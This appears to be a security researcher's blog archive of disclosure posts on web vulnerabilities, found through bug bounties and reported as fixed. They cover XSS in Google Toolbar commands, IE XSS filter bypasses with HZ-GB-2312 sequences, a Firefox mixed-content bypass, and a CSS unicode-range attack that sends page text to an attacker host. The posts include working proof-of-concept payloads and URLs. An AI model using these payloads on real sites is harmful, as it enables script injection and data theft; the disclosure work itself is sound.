Friday, January 29, 2016

XSS using Google Toolbar's command

In this post, I would like to share two XSSes in toolbar.google.com. I discovered in June 2015 and it has already been fixed.
Those bugs are a little unusual. It works only IE which Google Toolbar is installed.
IE's Google Toolbar has some special commands. We can execute from web UI of toolbar.google.com.

For example, you can find the command from: http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
You can reset toolbar settings when you clicked the button in this page. How does it execute command? Let's take a look at command() function.
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
Usually, we will jump to "http://toolbar.google.com/command?..." by this code. But on IE which Google Toolbar is installed, the navigation to "http://toolbar.google.com/command" is treated as special command. To execute command, we will need to put command name to query string. As you can see above page, fixmenu=1 is associated with the reset settings.

document.googleToken is used for CSRF token. document.googleToken is random value which is set by Google Toolbar. If the token is not correct, the command execution will fail. toolbar.google.com is the only domain which can access the token.

OK, that's about it.

Examine Toolbar's command

First, to find commands, I explored content on toolbar.google.com and toolbar's binary. Then, I noticed navigateto command. As its name suggests, navigateto command is used for navigation. When I put the following script into IE's developer console on toolbar.google.com, it was actually worked. It took me to example.com.
(Note: It seems this command was removed on latest Google Toolbar )
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
Also I tested javascript: URL.
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"

Then I got an alert dialog! But It's too early to rejoice because we can't know document.googleToken from external page. In other words, if an attacker can get document.googleToken, it becomes XSS hole directly.

XSS part 1

I went around to resources of toolbar.google.com domain and I found the following page:

http://toolbar.google.com/dc/dcuninstall.html (WebArchive)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script> 
The page has the button which can execute command. If button is clicked, it calls command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html"); function via OnYes() function.

Let's put command details aside, take a look at the path variable. The path variable is set by the following line:
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
It cuts location.href to use as command string. I believe that the coder expects following bold string:


https://toolbar.google.com/dc/dcuninstall.html

But this code is not good. If the URL has / in the query or hash, it will cut unexpected URL string.

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

So, what will happen if we put the following string?

https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

This URL is assigned into the path variable and it is used for the part of the command string, like this:

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html

There are two navigateto in this command. In this case, it seems the back string is used as the command. Therefore, the command navigates us to javascript:alert(1)//dcuninstalled.html!!

In this way, I have achieved XSS without knowing document.googleToken.

XSS part 2

After that, I found another interesting page:

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body onload="Load()">
Let's take a look at this code. 
First, Load() function is called:
<body onload="Load()"> 
Load() function sets document.URL string to url variable:
var url = window.document.URL.toString();
The query is decomposed and parameter name and value are took out. Then, as you can see the bold string below, the code tries to find custom_button_uri parameter. If it can find the parameter, it assigns the parameter value to the document.custom_button_uid variable.
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

The document.custom_button_uid variable is passed to command() function:
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
This means that user input is passed into command via the custom_button_uri query parameter.
Let's take a look at the assignment part again:
document.custom_button_uid = unescape(param_pieces[1]);

Fortunately, the custom_button_uri value passes through unescape() method! This means that we can put urlencoded & and =, like this:

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

Finally, the command string is:

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

Done!


Rewards

I reported the bugs via Google VRP and I received the reward of $3133.7 × 2.
It is not easy to find and understand non-documented commands, but it was a fun time.

And finally, I would like to introduce the holiday gift that I received from Google last year.
(You can find past gifts from: ChromebookNexus 10Nexus 5Moto 360  )
It is the USB Armory, Bug Bountopoly and post card!





Stephen of Google Security Team gave me the Japanese message and bug hunter's llustration. It's so lovely!
I will continue the bug reports again this year. Thank you so much!

Wednesday, December 16, 2015

X-XSS-Nightmare: XSS Attacks Exploiting XSS Filter

In this post, I would like to share XSS attack using IE's XSS filter. This issue was fixed in the December patch by Microsoft. (CVE-2015-6144 / CVE-2015-6176)

I spoke about this topics in the Japanese info-sec conference called CODE BLUE. You can find my name here. In my presentation, I talked about only the concept and I didn't touch details of attack techniques because it was not fixed at that time. 

Today, I can finally release hidden slides! Yeah!
The real X-XSS-Nightmare slides is the following.



Some attack vectors which I have reported are not fixed yet. So, I had to remove some slides :p

You can reproduce some PoC from this page:

http://l0.cm/xxn/


I hope you will enjoy it!

Friday, November 20, 2015

My Presentation at AVTOKYO2015: Bug-hunter's Sorrow

In this post, I'd like to share my slides in AVTOKYO2015. AVTOKYO2015 is a computer security conference which was held in November 14, 2015 at Tokyo.

In September 2013, the incident happened. My internet connection was blocked by ISP because they regarded my XSS request as attack. I spoke about details of that sad story. Also, you can see my income in 2014 and technical details of interesting XSS bugs.




FYI, I spoke about "Bug-hunter's Joy" before. Read it, if you please.
http://mksben.l0.cm/2015/07/codeblue.html

I hope you will enjoy it.
Thank you!

Friday, October 23, 2015

CSS based Attack: Abusing unicode-range of @font-face

In this post, I would like to share about new CSS based attack with unicode-range descriptor of @font-face rule.

Using this technique, an attacker can read page's text partially by CSS only.
An attacker might use this technique in the following cases:

- Browser's XSS filter bypass (e.g. XSS Auditor does not block <style> injection)
- Only CSS injection is allowed in the target page

As far as I know, known CSS based attack can read attribute (See Attribute Reader: http://p42.us/css/) but can't read characters of text node. This vector can do it, not perfect though :)

So far, this vector can be used in Chrome and Firefox Nightly 44.

Let's go:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Let's see another example: http://vulnerabledoma.in/poc_unicode-range2.html

You can see external requests including page text (M,a,s,t,o,K,i,n,u,g,w) from DevTools. Like the following:



As you can see, we can't know duplicated characters. But in some cases like this PoC, I think that it can give an attacker enough information.

I reported this trick to Chrome Team but it has been marked WontFix on Issue 543078.

It seems that this behavior is spec'd. See EXAMPLE 13 of http://www.w3.org/TR/css3-fonts/#composite-fonts.  Due to this behavior, users can save bandwidth. But as the side effect, an attacker got new attack vector.

Tuesday, September 29, 2015

Bypassing IE's XSS Filter with HZ-GB-2312 escape sequence

I would like to share IE XSS Filter bypass with escape sequence of HZ-GB-2312 encoding.

To use this vector, we need the target page's Content-Type header which charset is not specified in.

Bypass 1

PoC:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
No user interaction version:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

"~[0x0A]" is HZ-GB-2312 escape sequence. It seems that XSS filter makes an exception for "~[0x0A]" .

If Content-Type header has proper charset, it does not work:
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

On the other hand, if meta tag has proper charset, it still works:
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

Bypass 2

"~{" is also HZ-GB-2312 escape sequence. We can use this for bypass. We can call same-origin method in string literal.

PoC is here:
http://l0.cm/xssfilter_hz_poc.html

Please click the "go" button. You can confirm element.click method is called.

"click" is called from the following code:
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

Also, you can use "toString":
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//

<script>var q="";~{toString:opener.button.click}//"</script>

That's all. See you next month!

Wednesday, August 26, 2015

CVE-2015-4483: Firefox Mixed Content Blocker bypass with feed: protocol

Today, I would like to share details of CVE-2015-4483. This bug was fixed in Firefox 40. Security advisory is here.

Usually, Firefox can block mixed content as follows:
https://mkpocapp.appspot.com/bug1148732/victim


But using feed: protocol and POST method as follows, we can bypass it:

http://l0.cm/fx_mixed_content_blocker_bypass.html
<form action="feed:https://mkpocapp.appspot.com/bug1148732/victim" method="post">
<input type="submit" value="go">
</form>



To use this bug, we need http: resource in target https: website. So, you might think such website is broken from the beginning. But wait! I think this bug affects many websites.

Please go to the following page and see location.protocol:

http://l0.cm/fx_location_protocol_and_feed.html

location.protocol returns "feed:". Next, let's see Google Analytics tracking code.

var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-xxx-y']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
Let's take a look at red js code. If location.protocol is not "https:", insecure ga.js (http://www.google-analytics.com/ga.js) is loaded in the page. Combining with "location.protocol==feed:" trick, what's going to happen? Yes, we can load insecure js via GA tracking code! :)

For example, we can load insecure js in accounts.google.com as follows:
http://l0.cm/google/accounts.google.com_mixedscripting.html

Firefox 40 can block mixed content properly. But it seems that we can still put "feed:" string to protocol part of URL.

Thank you!

Wednesday, July 1, 2015

My Presentation at CODE BLUE: Bug-hunter's Joy

Today, I'd like to share my presentation in CODE BLUE. CODE BLUE is an international information security conference which was held in December 2014 at Tokyo.

I spoke about my life as a bug hunter. You can see my experiences in Google VRP, my income in 2013, technical details of interesting XSS bugs and so on. I hope you will enjoy it.



You can find other great presentations here: http://codeblue.jp/2015/en/archive/2014/

CODE BLUE will be held again this year. More details are available here. Please come to Tokyo :)
Thanks!